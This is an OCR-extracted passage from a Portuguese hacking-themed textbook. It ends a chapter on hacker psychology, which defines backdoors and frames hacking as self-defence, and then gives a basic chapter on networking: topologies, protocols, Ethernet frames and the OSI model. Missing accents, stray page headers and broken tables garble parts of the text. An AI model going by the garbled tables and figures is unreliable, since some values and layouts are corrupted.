SEMPRE conspirando para cercear nossos direitos. Companhias e governos jogam sujo nos forando a usar sistemas horrveis, caros e mal escritos, que nos espionam e caducam muito rpido. "Hackear', ento, seria apenas uma forma de defesa.
5 Literalmente, "porta de trs". um programinha que o invasor deixa na mquina invadida para sempre ter acesso a ela, mesmo que o administrador tape a brecha pela qual o hacker entrou. como abrir novos buracos para entrar porque o primeiro fatalmente ser consertado pelo dono do muro.
1321
Psicologia Hacker [
Universidade 1 ano
o extrema (" a terriflc bore", como nos disse Lord.Aztael.js), o hacker mais velho se agremia a cls, tem um pseudnimo vistoso e .1)!6!74 u7!1!z4nl)0 35<!:r!7413376 com o objetivo de despistar autoridades e continuar annimo. Esse o problema. As listas de vulnerabilidades de sites como o Security Focus ou o Linux Security possuem apenas os problemas descobertos pelos pesquisadores ou divulgados pelos crackers. Mas no se engane: mais de 80% das vulnerabilidades esto em listas privadas de cls hackers, fora as outras tantas que so conhecidas apenas por indivduos. Confiar apenas nas listas pblicas alimentadas por gente que foi invadida e por crackers que liberam as vulnerabilidades muito antigas no uma atitude l muito sbia. Isto posto, se voc est lendo este livro pensando em segurar melhor sua empresa, necessariamente ter de descer ao submundo digitaF e ser um deles. No pense jamais em ser agente duplo, entretanto: sua rede nunca mais ser deixada em paz se descobrirem que voc deu um "copiar/colar" da lista de vulnerabilidades deles para seu site de segurana preferido.
6 "Digitar utilizando escrita leet". O 1337 54:r!p7 uma forma de escrever utilizando smbolos alternativos disponveis no teclado, ou seja, apenas no conjunto de caracteres ASCII estendido. 7 Muitos referem-se a ele com o nome oficial de "Digital Underground".
1331
] Psicologia Hacker
Redes
caPtulo2
'For mi!lions ofyears, man have lived just like the animaIs. And then something happened, that unleashed the power of our imagination: we learned to talk.' Stephen Hawking, cientista, em um comercial da AT&T.
1 "Por milhes de anos, a humanidade viveu como os animais. Ento algo aconteceu, que despertou o poder de nossas mentes: aprendemos a falar." Stephen Hawking gravou essa mensagem tambm na cano "Keep TaIking", do album The Division Bell, do grupo de rock Pink Floyd, em 1994.
I Universidade
H4CK3R I
Introduco
I
Ningum uma ilha. impossvel imaginar que o mundo moderno possa sobreviver ou mesmo existir sem que as pessoas possam comunicar-se. Talvez em comunidades afastadas no serto do Piau um telefone disposio ou mesmo luz eltrica sejam algo suprfluo, e sua falta seja contornve1. Mas imagine se faltar comunicaes ou energia eltrica em uma cidade como Nova York. Milhes morrero... As redes de computadores so uma especializao das redes telefnicas, que por sua vez so um aperfeioamento das tecnologias envolvendo o velho te1egraf02. Hoje, h computadores ligados por toda a nossa volta, e presentes em diversas tarefas do nosso cotidiano. Bancos, empresas, mercados... Todos utilizam algum tipo de rede para atualizar informaes de forma eficiente, rpida e segura. Nosso objetivo para este captulo dar uma noo muito superficial de como as redes funcionam e quais so seus componentes. Lembremos que em quase 100% dos casos estamos acessveis a hackers atravs de alguma rede. Mesmo que os invasores utilizem-se de acesso fsico para invadir alguma de nossas mquinas - ou seja, possam sentar-se em nossas cadeiras e digitar diretamente em nossos teclados -, o controle posterior de nossa mquina se dar, provavelmente, atravs de alguma rede. Os conceitos aqui contidos provavelmente vo acrescentar pouco aos administradores mais experientes, mas serviro como ferramentas fundamentais para abrir as portas aos que esto comeando a entender esse universo. Nem este captulo nem todo o livro tm a inteno de ser um tratado completo sobre comunicao e redes de computadores. Alm de fugir do objetivo principal, seria complicado faz-Io sem fugir da estimativa inicial de 350 pginas impressas. Muitos bons livros foram escritos sobre o assunto, como o excelente Redes de Computadores, de Andrew Tannembaum, ou os livros on-line de Morimoto disponveis no Guia do Hardware (www.guiadohardware.com). E a prpria Internet est cheia de bons tutoriais e artigos sobre o assunto. No se prenda, pois, ao exposto aqui. v em frente! Seja safo! Estude!
Conceituao
As tecnologias que evoluram do telgrafo e da telefonia para tornarem-se o que conhecemos hoje como redes de computadores possuem vrios aspectos que devem ser analisados para que nossos projetos de redes sejam eficientes e seguros. Alguns desses aspectos bsicos so: ~ Estrutura fsica: os componentes de hardware (mecnicos ou eltricos) que compem uma rede. Simplificando a definio, podemos dizer que tudo aquilo que voc pode tocar.
2 Os norte-americanos clamam para si a inveno do telgrnfo, reabnente levado a cabo por Samuel Morse em 1838 (e patenteado por ele em 1840). Mas na dcada anterior, em 1830, cientistas ingleses j haviam reproduzido em laboratrio a teoria que um misterioso colega escocs havia proposto 70 anos antes, em 1750. Na opinio dos autores, foi esse escocs annimo (ele assinou seu relatrio apenas com as iniciais, CM) que inventou o telgrnfo.
1361 Redes 1[
Universidade 1 ano
~ Topologia: como os computadores esto ligados fisicamente entre si na rede. Cada problema apresentado pede uma topologia diferente para resolv10, e h situaes em que vrias topologias combinadas resolvem o problema da melhor maneira possvel. ~ Protocolos: as normas que regem as comunicaes entre computadores e as "lnguas" que eles falam entre si. Neste captulo, apresentaremos um "resumo" cobrindo os princpios bsicos das tecnologias envolvidas. O captulo 8, Redes lI, apresentar as redes TCP/IP - usadas em praticamente todas as redes srias hoje em dia, bem como na Internet - de forma mais completa.
Estrutura fsica
Existem diversos tamanhos e tipos de redes, mas o ponto de partida para elas o mesmo: a necessidade de comunicao entre dois ou mais computadores. As formas de conexo podem ser as mais variadas, desde pares de cabos comuns e de baixo custo, passando pelos cabos coaxiais e fibras ticas at equipamentos sem fio. H ainda outros componentes utilizados para expandir a capacidade da rede. Entre esses componentes, podemos destacar: ~ Servidor: mquina central responsvel pela disponibilizao de recursos e servios na maioria das redes. Sua funo agir como fonte de dados para as configuraes da rede, armazenamento de dados e plataforma para rodar aplicativos, alm de possuir mecanismos de autenticao e controle de acesso - evitando assim que usurios acessem recursos no-autorizados. Existem diversos tipos de servidores, sua escolha depende da necessidade e do tamanho da rede em que ser instalado. ~ Cliente: a mquina que utilizar a rede em questo. com ela que o usurio vai acessar os recursos disponveis, como servios, programas e dispositivos de armazenamento no servidor, em outras mquinas cliente ou em dispositivos autnomos como faxes ou impressoras remotas. ~ Cabos: so o meio fsico por meio dos quais os dados sero transmitidos. Existem diversos tipos de cabos, e sua escolha vai depender do tipo de rede a ser instalada, do equipamento que ser utilizado e de quanto o dono da rede est disposto a gastar. ~ Interface de rede: hardware responsvel pela conexo entre as mquinas, agindo como porta de entrada e sada para acesso ao "espao pblico" da rede.
1371 ] Redes 1
I Universidade
H4CK3R I
Equipamento adicional
~ Repetidores: equipamentos que regeneram eletricamente (ou seja, no domnio analgico) o sinal nos meios de transmisso - normalmente cabos eltricos. No se pode usar muitos deles numa mesma rede, pois degeneram o sinal no domnio digital e causam problemas de sincronismo entre as interfaces de rede. ~ Hubs: unidades que funcionam como ponto central de conexo em uma rede local. Possuem vrias portas de conexo, cada uma destinada a um computador diferente. Todos os hubs so tambm repetidores. ~ Bridges: possibilitam dividir a rede em segmentos autnomos. Com isso, consegue-se reduzir o trfego na rede toda, bloqueando dados cujo segmento de origem e destino sejam os mesmos e deixando passar dados cujo segmento de destino seja diferente do de origem. ~ Comutadores: tambm chamados de switches, possuem diversas portas, assim como os hubs.A diferena que, internamente, ele segmenta a rede, sendo cada porta um segmento diferente. A queda no trfego da rede, com a utilizao de switchs, gritante. ~ Roteadores e Gateways: equipamentos capazes de encaminhar dados entre duas ou mais redes diferentes. Possuem inclusive uma certa inteligncia, podendo encaminhar mensagens a redes que no esto diretamente ligadas a eles. A Internet nada mais do que uma grande malha de roteadores.
Abrangncia
Alm do conhecimento dos componentes isolados que compes uma rede, necessrio ter uma idia de como elas podem cobrir diferentes reas. Os nomes de cada categoria, embora consagrados, no so to importantes. Conhecer os diferentes problemas inerentes a cada uma das situaes, entretanto, primordial para um projeto bem-sucedido. ~ LAN: as famosas redes locais, hoje chamadas de departamentais. Os equipamentos encontram-se geograficamente em um mesmo local, e o nmero de mquinas pequeno. No h muitos problemas de interconexo. ~ MAN: visa cobrir uma rea urbana com aproximadamente 30 km de raio. Normalmente composta pela interligao de todas as redes locais de uma mesma empresa, na mesma regio metropolitana. ~ WAN: redes capazes de alcanar grandes distncias. Seu sinal reforado sempre para que no haja perda nos dados durante a transmisso dos mesmos. No caso de redes privadas, uma WAN a interligao das MANs de uma mesma instituio ou grupo de instituies. Em se tratanto de redes pblicas, a WAN mais conhecida do mundo a Internet.
J8 I
Redes 1 r
Universidade 1 ano
TopoLogias
Quando falamos em topologias de uma rede, estamos nos referindo ao layout lgico da mesma. H vrias formas nas quais podemos organizar a interligao entre cada um dos ns da rede (cada ponto de conexo com a rede pode ser chamado de n, independentemente da funo do equipamento representado por ele). H quatro topologias que chamamos de cannicas: ponto-a-ponto, barramento, anel ou estrela. A escolha da topologia apropriada para uma determinada aplicao depende de diversos fatores, sendo estabilidade, velocidade, confiabilidade e custo os mais importantes. A distncia entre os ns e o tamanho da rede tambm so fatores preponderantes.
Principais topoLogias
~ Ponto-a-ponto: tambm conhecida como linear, tem como caracterstica a disposio em srie dos equipamentos, fazendo com que os dados passem por todas as estaes que estiverem conectadas, mas apenas a receptora poder reconhec-Ios.
~ Barramento: uma extrapolao das redes ponto-a-ponto. Alis, muitas redes ponto-a-ponto utilizam-se de barramentos. Neste modelo de conexo, todos os computadores so ligados em um mesmo barramento fisico de dados. Apesar de os dados no passarem por dentro de cada um dos ns, apenas uma mquina pode "escrever" no barramento num dado momento. Todas as outras "escutam" e recolhem para si os dados destinados a elas.
1391
] Redes 1
I Universidade
H4CK3R I
~ Anel: essa topologia constituda por um circuito fechado.As redes conhecidas como Token Ring (criadas pela IBM) so as mais famosas. Quando foram criadas, ofereciam uma taxa de transmisso bem mais elevada do que nas redes lineares, mas a adio de um nmero muito grande de mquinas no anel causava problemas de atraso, rudo e sincronizao. Por isso mesmo, essa topologia caiu em desuso para redes locais. Em WANs, pelo contrrio, como so poucos ns (um de cada rede local que se quer interligar), a topologia em anel a mais indicada. ~ Estrela: nessa topologia, toda a informao deve passar obrigatoriamente por uma central inteligente, que deve conectar cada estao da rede e distribuir o trfego para que uma estao no receba, indevidamente, dados destinados s outras. ATENO:uma rede local que use um hub no considerada como estrela!!! Um hub um dispositivo que possui, internamente, um barramento! O trfego que entra por uma porta do hub destinado a todas as outras portas. Uma rede que usa switches, entretanto, um exemplo perfeito de configurao em estrela. Outro exemplo so as controladoras de terminais "burros" dos mainframes e minicomputadores. A vantagem das implementaes por estrela a grande especializao do trfego. Apenas dados destinados quele n so enviados a ele. Os custos de implementao e operao, entretanto, so elevados, e atualmente configuraes em estrela so usadas mais para interligar segmentos de rede do que ns individuais.
40 I Redes 1 r
Universidade 1ano
Protocolos
Extrado do Novo Dicionrio Aurlio de Lngua Portuguesa: protocolo. [Do gr. protkollon, 'primeira folha colada aos rolos de papiro, e na qual se escrevia um resumo do contedo do manuscrito', pelo lat. medo protocollu e pelo fr. protocole.] S.m. 1. Registro dos atos pblicos. 2. Registro das audincias nos tribunais. 3. Registro de uma conferncia ou deliberao diplomtica. 4. Formulrio regulador de atos pblicos. 5. Conveno internacional. 6. livro de registro da correspondncia de uma firma, repartio pblica, etc. 7. Bras. Carto ou papeleta em que se anotam a data e o nmero de ordem com que foi registrado no livro de protocolo (6) um requerimento, e que serve como recibo. 8. Fig. Formalidade, etiqueta, cerimonial. 9. Inform. Protocolo de comunicao (q. v.). Protocolo de comunicao. 10. Inform. Conjunto de regras, padres e especificaes tcnicas que regulam a transmisso de dados entre computadores por meio de programas especficos, permitindo a deteco e correo de erros; protocolo de transmisso de dados. [Tb. se diz apenas protocolo.] Protocolo de transmisso de dados. 11. Inform. Protocolo de comunicao (q. v.). A palavra protocolo possui, ento, diversos significados, tanto na lngua portuguesa quanto na lngua aceita como universal, o ingls. Trs dos significados chamam a ateno: 3.Registrode umaconfernciaou deliberaodiplomtica.
S. Conveno internacional. S. Fig. Formalidade, etiqueta, cerimonial.
= primeiro,
difun-
dido na esfera diplomtica; em um primeiro momento, como os documentos que registravam quais as atitudes e os procedimentos que deveriam ser seguidos em encontros ou querelas com outras naes e, posteriormente, como sinnimo desses procedimentos. A definio 3 do verbete ilustra o sentido diplomtico original da palavra, a defmio 5 mostra o conceito moderno. Em sentido figurado, as pessoas passaram a considerar qualquer procedimento-padro (seja ele diplomtico ou no) como protocolo - exatamente o que nos diz a definio 8 do verbete. Quando as primeiras redes de computadores comearam a sair do papel e ser experimentadas nos laboratrios de tecnologia (j na dcada de 50), havia a necessidade de criar um mecanismo para que cada equipamento ligado nela pudesse se comunicar com os demais, mesmo que fossem equipamentos diferentes. Foram criados ento mensagens-padro, e se duas mquinas quisessem comunicar-se deveriam ambas conhecer tais mensagens. Pela similaridade de idias (e para fazer uma brincadeira com a defmio diplomtica), os engenheiros de ento apelidaram essas mensagens-padro de protocolo. Observe as defmies 9, 10 e 11. Se prestarmos ateno, veremos que nada mais so do que extrapolaes de 5 e 8.Vejamos, ento, alguns dos protocolos de redes mais conhecidos, suas funes e suas particularidades. 141 I ] Redes 1
I Universidade
H4CK3R
Como funcionam
Os protocolos so, ento, como "frases" que uma interface de rede tem de dizer para poder se comunicar com as outras. Como a expresso "as outras" da frase anterior est no plural, deve haver alguma forma de todas as mquinas conectadas na mesma rede conseguirem, ao "ouvir" uma mensagem, entender se destinada a elas ou no. A primeira providncia que um protocolo de redes deve tomar declarar de qual protocolo estamos falando. Deve haver, em algum lugar no incio da mensagem, um indicador de protocolo. Lembrem-se: nem sempre existe apenas um protocolo trafegando pela rede, ento faz-se necessrio identificar a todos. Considerando que uma mensagem (ou pacote, que o termo tcnico correto para essa entidade) em uma rede um conjunto de dados originados em um n e destinados a outro, e que esses dados sero transmitidos serialmente na forma de bits, coerente afirmar que teremos, no cabo da rede, um "trem" de pulsos eltricos seqenciais. Para fms didticos, vamos "montar" um pacote usando um protocolo genri-
co e fictcio, criado por ns. J sabemos que nossa mensagem tem de comear com um identificador de protocolo, ento teremos alguma coisa assim:
Protocot
ID
Uma das coisas que o protocolo deve definir, alm da posio onde est cada um dos dados, o tamanho deles. Assim, em nosso protocolo fictcio
definimos que o identificador de protocolo est na primeira posio. Mas devemos que definir tambm quantos bits sero usados para identific-Io.
sero destinados representao do endereo de origem e de destino. Nossa tecnologia de redes s vai ligar 16 ns ao mesmo tempo, ento quatro bits so
suficientes. (Estamos considerando que o leitor saiba fazer converso decimal! binrio, pois ser necessrio. Em caso negativo, um site que pode esclarec-Io piano .dsi.uminho. pt/ -joao/Computaca02lnode2 .html). 1421 Redes1 [
Universidade
1ano
Origem (4 bits)
Falta alguma coisa, no? Quem teria o trabalho de enviar, pelo correio, um envelope com remetente, destinatrio, o selo carimbado (que, nesse caso, identificaria o protocolo de comunicao: o sistema postal brasileiro) mas sem uma carta no interior? Nosso protocolo tambm carece de algo til para fazer. Precisamos definir um espao, dentro da mensagem, para carregar os dados que queremos transmitir do n de origem para o de destino. Vamos supor que a rede para a qual estamos criando esse protocolo tenha uma limitao: o tamanho dos pacotes no pode passar de 64 bits. J usamos dois para o protocolo, quatro para o endereo de origem e mais quatro para o endereo de destino. 2+4+4 = 10, sobram, ento, 54 bits para o payload (expresso usada no meio ferrovirio para definir o tamanho da "carga til") e demais campos. Um protocolo, por mais simples que seja, deve possuir um smbolo que marque o fim da mensagem. Vamos definir uma sequncia de 1 byte para tal. Ao acaso, arbitramos 11001011. O smbolo deve ser a ltima coisa que aparece na mensagem. Os 46 bits que sobraram podem ser usados para transportar nossos dados.
PID
2 bits
claro que pacotes montados segundo nosso simples protocolo simples carecem de diversos controles mais sofisticados. Poderia, por exemplo, haver um campo no qual existisse um nmero calculado a partir dos bits de toda a mensagem. Esse nmero seria reca1culado pelo n destino e, se o resultado batesse com o que est guardado no campo, indicaria que a mensagem no foi corrompida durante a viagem. Outro campo til poderia ser um marcador de tamanho de mensagem. Com o tamanho da mensagem varivel, ajustaramos a quantidade de dados a transmitir naquele momento. Pegando como exemplo nosso protocolo, que tem um payload de 46 bits, vemos que todas as mensagens tero rigorosamente o tamanho mximo, mesmo que eu queira transmitir apenas um bit. Com um campo controlando o tamanho do payload, posso otimizar o uso da minha rede e diminuir o trfego. Eu poderia passar a madrugada inteira (sim, agora de madrugada, e eu tenho de entregar o captulo todo corrigido amanh...) falando sobre as inmeras possibilidades de implementao de protocolos. Em vez disso, recomendo ao leitor que procure na Internet documentao sobre teoria de protocolos. Bons livros sobre redes (como o j citado de Andrew Tannemmbaum) tambm so boas fontes de informaes sobre o assunto.
1431
] Redes1
I Universidade H4CK3R I
Matrioshka3
O campo Protocol ID (ou PID) de nosso protocolo um identificador que o diferencia dos outros protocolos que trafegam na rede. O protocolo nosso "primeiro fIlho", vamos batiz-Io de PROTl (original, no?). Pode ser que, no mesmo cabo, trafegue o nosso PROTl e outros trs, criados por seus colegas: MAILl, WEBl e 1M!. Em qualquer momento que se verifique, h mensagens desses quatro protocolos trafegando simultaneamente. So mensagens independentes e que podem existir no mesmo tempo e espao. fcil observar, pelos nomes dados pelos seus colegas, que o protocolo MAILl vai carregar mensagens de correio eletrnico, o protocolo WEBl trar pginas Web para seu navegador e o protocolo IMl permitem conversas entre programas de mensagens instantneas. Em algumas situaes, queremos usar um protocolo para transportar pacotes de outros protocolos. Uma dessas situaes quando o nmero de protocolos a transportar na rede muito grande. Nesses casos, cria-se um protocolo de transporte - sendo s um, o hardware mais fcil de implementar - e encapsula-se os demais protocolos como se fossem dados em seu payload. Extrapolando, possvel ter vrios nveis de encapsulamento. Cada um dos nveis comumente chamado de camada ou layer, e possvel extratificar a comunicao de dados criando camadas com funes especmcas.
Cabealho
6
EJ
I
Cabealho
CabeaLho
FIm
Os protocolos de mais alto nvel so "envelopados" em outros de uso mais geral. O processo pode seguir indefmidamente, dependendo das necessidades de projeto. Cada uma das camadas pode tratar de exigncias especmcas da rede. Por exemplo, a camada de mais baixo nvel provavelmente cuida dos aspectos eltricos da comunicao, j a camada mais superior oferece um meio para que as mensagens do programa que est acessando a rede sejam bem recebidas na outra ponta do fIo.
3 Bonecas russas que se encaixam uma dentro da outra, da mesma forma que as camadas do modelo durante o encapsulamento, iniciando sempre pela menor e "ganhando peso" durante o processo. OS!
441 Redes 1 [
Universidade 1 ano
Ethernet
Confuso? Talvez a teoria seja, realmente, um pouco hermtica. Alguns exemplos prticos, entretanto, bastaro para mostrar ao leitor que esse mtodo de guardar um envelope dentro do outro no s fcil de entender como facilita as coisas para o projetista. O Ethernet um protocolo de redes de baixo nvel. Ele controla como os dados trafegam na rede local, tanto no controle do meio fsico (sinais eltricos, impedncia, etc) como na montagem de um quadro, chamado Ethernet, contendo informaes sobre endereo de origem, de destino e dados a serem transportados. Se voc abrir um cabo de rede e colocar um analisador lgico para observar o que est trafegando, o que vai aparecer na tela um quadro Ethernet. A estrutura de um quadro Ethernet muito parecida com a do nosso protocolo fictcio. Observe: Cabecalho
Ethe'rnet Dados vindos da camada superior Rodap Ethernet
Um quadro Ethernet possui um tamanho entre 64 e 1519 bytes (ou seja, entre 512 e 12.152 bits).Antes de cada quadro Ethernet, h ainda um trem de 56 bits, alternados entre O e 1, chamado de prembulo e que serve para sincronizar as interfaces de rede4. Um quadro Ethernet completo, incluindo o prembulo, seria:
10101010
10101010 10101010 10101010 10101010 10101010 10101010
I
Endereco Tamanho Prembulo SFD Endereco Destin Origem doQuadro "Payload" FCS
46 a 1500
Os nmeros abaixo de cada campo representam o seu tamanho em bytes. Depois do trem de pulsos do prembulo, temos o Start Frame Delimiter ou SFD.Esse campo tem sempre o mesmo valor binrio (10101011) e serve para, como o nome j diz, indicar o incio "oficial" do quadro. Os prximos dois campos so o endereo de origem e o de destino das interfaces de rede. Esses endereos no so configurados pelo usurio. Pelo contrrio, o fabricante da placa de rede insere, no prprio hardware, um endereo nico no mundo para cada placa. O endereo Ethernet ou MAC adress, como costuma ser chamado, possui seis bytes e representado por nmero hexadecimais. Um exemplo: 00 - 00 - lD - Cl - 47 - FO Os trs primeiros bytes determinam o fabricante da placa. J os trs ltimos, a faixa de endereos que aquele fabricante est autorizado a usar.
4 Para os tcnicos e engenheiros em eletrnica: notem que, como uma seqncia perfeita de zeros e uns, nada mais temos que uma onda quadrada de freqncia constante - um clock!!!
1451
] Redes 1
I Universidade
H4CK3R I
Na lista abaixo, que obviamente est bem simplificada, temos alguns conjuntos de trs primeiros bytes de endereos MAC, indicando diferentes fabricantes:
00 00 OC - Cisco 00 00 lB - Novell
02 60 8C - 3Com
08 00 09 - Hewlett.Packard 08 00 20 - Sun.Microsystems
08 00 5A
- IBM
Faa uma experincia e verifique o endereo MAC de sua placa de rede. Se voc est usando um Windows da famlia Win9x, dique em Iniciar, Executar e rode o programa WINIPCFG. Em um Windows 2000 ou Xp, entre nas suas configuraes de rede e pea para ver o status da conexo. Clique em suporte, depois no boto Detalhes. No Linux e em alguns outros Unix, abra um terminal e use o comando ifconfig. Voltando ao quadro Ethernet, o prximo campo o tamanho do payload. um nmero de dois bytes (portanto, 16 bits), e poderia indicar um tamanho entre 1 e 65.536 para os dados. Na prtica, esse valor varia de 46 a 1500 bytes. O ltimo campo do frame Ethernet o chamado FCS,ou Frame Check Sequence. exatamente aquele nmero de verificao que discutimos em nosso protocolo fictcio. Ele gerado em um n de origem em ftrno dos campos de endereo, tamanho e payload e gravado no campo FCS.Quando o quadro chega no destino, o nmero calculado de novo e comparado com o FCS. Se ambos forem iguais, o quadro est bom. Se diferirem, o quadro est corrompido e ser descartado. Um ltimo elemento, que no faz parte do quadro Ethernet, o chamado Interframe Gap. Depois que o quadro processado pela mquina destino, a interface de rede de origem deixa a rede "em silncio" durante um tempo prdefinido por hardware. Dessa forma, todas as outras interfaces da rede podem estabilizar-se e ficar espera de um novo quadro.
Quadro n+1
I
Quadro n+2
Quadron
I
I
Interframe Gap
Interframe Gap
O protocolo Ethernet, sozinho, daria um livro inteiro. No ser preciso, para nossos propsitos, dissec-Io mais do que apresentamos aqui. Para uma escovao maior de bits, lembre-se de que a Internet sua amiga. Como o leitor ver a seguir, apresentaremos um modelo de referncia para a criao de protocolos. O Ethemet encaixa-se nas camadas 1 e 2 desse modelo de referncia. Pode parecer estranho ter "adiantado o expediente", falando sobre Ethemet antes de tudo, mas precisvamos de um exemplo prtico de protocolo. Como se pode ver, est tudo dentro do projeto pedaggico ;-)
1461 Redes 1I
Universidade 1ano
o Modelo 051
Podemos dizer que o modelo de referncia OSI(Open Systems Interconnection) nasceu da necessidade de criar um protocolo que conseguisse se comunicar entre redes diferentes. As redes antigas de computadores possuam protocolos proprietrios. Se a empresa X implantasse uma rede, esta s poderia se comunicar e ser expandida com outras redes e equipamentos construdos pela mesma empresa. A tecnologia utilizada era de conhecimento de apenas um fabricante, no era possvel adquirir o hardware com uma empresa e instalar a rede com outra. Os clientes ficavam de mos atadas, pois no havia concorrncia e nem sempre o fabricante proporcionava a melhor soluo. Como o prprio nome diz, o OSI um modelo de referncia, no um protocolo. Vamos tentar ilustrar de uma maneira bem simples: pense num processador de textos. O Microsoft Word, por exemplo. Existem diversos modelos de documentos (chamados templates) a partir dos quais podemos criar nossas prprias cartas, folhas de. rosto de fax ou memorandos. Imagine o modelo de referncia OSI como um template para criar protocolos de rede. Fcil, no? O modelo foi desenvolvido pela ISO (lntemational Standards Organization), e tomou-se um padro para que os fabricantes passassem a desenvolver seus protocolos a partir desse modelo. Ainda assim, voc pode notar que os protocolos existentes no seguem risca essas especificaes, alguns por serem mais antigos que elas, outros por atingirem a objetivos tcnicos especficos, e uns poucos por pura arrogncia corporativa.
Camadas
o modelo OSI formado por sete camadas, cada uma com uma funo diferente. As camadas criam um envelope com os dados da camada superior, incluem seus prprios cabealhos e entregam isso para a camada imediatamente inferior. Quando o pacote chega na camada de nvel mais baixo, est pronto para ser transmitido. As camadas so organizadas segundo este modelo:
7 6 5 4
I
1471
] Redes 1
I Universidade H4CK3R I
pelas Matrioshkas
Quando um pacote enviado de um dispositivo que segue o modelo OSI para outro, as camadas do remetente se comunicam apenas com as camadas correspondentes no receptor. Isso significa que as camadas identificam os cabealhos equivalentes que foram includos no processo de encapsulamento, fazendo assim com que o prximo nvel no precise lidar com as informaes dos nveis anteriores. Trocando em midos, a camada 4 no tem a mnima idia do que as camadas 3,2 e 1 fazem com os dados. Tudo o que ela sabe que fez um envelope e o entregou camada 3. L no outro lado da conexo, no receptor, a camada 3 entregar o envelope fechado para que a camada 4 abra. Podem ter havido mudanas de protocolo nas camadas inferiores, fragmentao de pacotes, troca de ordem, no importa. A camada 4 s quer saber o que est em seu envelope. Isso vale para todas as camadas e toma o funcionamento de cada uma independente das outras. Como dissemos, cada camada possui uma funo especfica. Se tomarmos como ponto de partida que cada uma delas representa, na realidade, algum software que desempenha as funes descritas (com exceo da camada 1, que implementao de hardware), veremos que o modelo proposto, em vez de ser abstrato, at bem palpvel. 7 - Camada de Aplicao A camada de aplicao , como o nome j diz, o prprio aplicativo. Em outras palavras, o programa que voc est usando. Por exemplo, seu navegador Web est na camada de aplicao, e fala diretamente com o servidor Web que est l na outra ponta da conexo. H, portanto, uma "conversa a dois" entre os programas. No , verdadeiramente, parte da rede. Do contrrio, essa camada representa todos os programas que querem acessar a rede e no sabem como faz-Io.A nica forma de os programas que usamos conseguirem se comunicar com outros programas em outras mquinas "falando" com a camada 6.
1481
Redes1 r
Universidade 1ano
6 - Camada de Apresentao Chamada, por muitos, de "a camada sem funo" ou "a camada intil". Na teoria, serve para preparar os dados no domnio local e coloc-Ios em um formato compatvel com procedimentos de transporte. No caminho inverso, padroniza os diferentes tipos de dados de uma forma que qualquer aplicao possa ser escrita para usar a rede, independente das implementaes das cinco camadas inferiores. Dois exemplos de servios executados nessa camada so a criptografia e a compresso de dados. Na prtica, essa funo trivial e implementada na prpria aplicao. 5 - Camada de Sesso A camada de sesso responsvel pelo estabelecimento de conexo entre dois computadores que esto se comunicando. Ela controla o dilogo entre as aplicaes nos sistemas local e remoto. Tambm possvel agrupar dados em blocos e marc-Ios depois de enviados. Caso haja uma interrupo na conexo, a prxima sesso poder recomear a partir do fun do ltimo bloco enviado.
4 - Camadade Transporte
A camada de transporte fornece meios para que os ns local e remoto possam trocar dados. Usando uma analogia um pouco imprecisa, os programas da camada 4 montam um "cano" entre a camada 5 local e a camada 5 remota. Se os softwares de camada 5 de ambas as mquinas olharem pelo cano, vero, do outro lado, seu companheiro. atravs desse encanamento disponibilizado pela camada 5 que toda a "mgica" das camadas anteriores acontece. 3 - Camada de Rede At agora, estvamos no mbito exclusivo do software. As camadas anteriores comunicam-se diretamente com o programa correspondente das mquinas remotas. A camada 3, por outro lado, conhece a topologia e a distribuio da rede e sabe como encontrar uma mquina em especial no meio da selva de endereos e caminhos. A camada de rede no orientada conexo como a camada de transporte. Os pacotes so enviados sem que se saiba se vo chegar ou no. Como a conexo estabelecida na camada imediatamente superior (que, por sinal, est encapsulada nesta), isso no chega a ser um problema. 2 - Camada de Enlace A camada de enlace responsvel pela comunicao direta entre duas interfaces numa mesma rede. No tem conhecimento de outras redes alm da sua, funo da camada superior. Por outro lado, a camada que, na rede de origem e na de destino, efetivamente recolhe e entrega o pacote interface de rede correta. Controle e deteco de erros fazem parte do seu mtier.
1491
] Redes 1
I Universidade
H4CK3R I
1 - Camada Fsica Como o prprio nome indica, a responsvel pelo envio dos quadros para o meio fisico.A converso feita a partir dos Os e ls do quadro (sistema binrio) e adaptada para o meio, no caso de um meio eltrico, so transformados em sinais eltricos, num meio tico, sinais luminosos e assim por diante.
Um exempLo prtico
Para entender melhor, uma pequena alegoria: um jogo, por correspondncia, entre dois enxadristas, um em Teresina e outro em Goinia5. Os enxadristas so os usurios. O jogo em si (tabuleiro, peas e regras) a aplicao (camada 7). As jogadas so registradas em notao tabular (por exemplo, o movimento de um cavalo poderia ser B3C5) e escritas em folhas de papel - essa a forma de apresentao do jogo (camada 6). Note que no basta simplesmente colocar uma papeleta no envelope com a notao da jogada. de bom tom escrever uma carta completa, com data, saudao e assinatura, perguntar como vai a famlia, o trabalho, frias, etc. para que se crie um vnculo ntimo entre os dois. Mas como enviar a jogada ao outro enxadrista? Bem, necessrio estabelecer uma sesso (camada 5) de comunicao. Em nosso caso, a requisio da sesso representada pelos servios da ECT.Colocamos a carta no envelope, endereamos (no esquea o CEP!), selamos e colocamos na caixa de correio. Do outro lado, nosso colega vai abrir a carta e estabelecer a sesso. A ECT responsvel pelo transporte de nossa carta (camada 4). Isso significa criar meios para que uma conexo entre os dois enxadristas seja estabelecida. Quando colocamos a carta na caixa de correio, esperamos que, de algum jeito, ela chegue s mos do destinatrio. Os mecanismos usados para tal no nos interessam. A ECT separa as cartas por regio, depois por estado, depois por cidade, depois por logradouro. Uma vez separadas, monta pacotes de cartas destinadas a cada logradouro e os envia para l. Utiliza-se, para tal, uma rede de vias rodovirias, ferrovirias e aeronuticas (camada 3) e um exrcito de carteiros para entregar as cartas. Os caminhes, nibus, avies, motocicletas e as bolsas dos carteiros so os elementos que transportam os pacotes de cartas dentro de uma mesma rede viria. Os caminhes s andam nas estradas, os avies s voam, os carteiros s andam nas cidades. Nenhum deles conhece os detalhes de toda a rota das cartas, sabem apenas como entregar as cartas localmente. So nossa camada 2. Note que, caso seja preciso trocar de tipo de rede (por exemplo, sair de um avio e entrar num nibus), nossas cartas so tratadas por funcionrios dos correios que trabalham em atividades prprias da camada 3. Eles sabem mapear entre as redes. Os pilotos dos avies, por exemplo, no entendem nada disso.
5 Apesar das facilidades da Internet e da Telefonia, um jogo por cartas mais romntico e mais barato...
150 I
Redes 1[
Universidade
,0ano
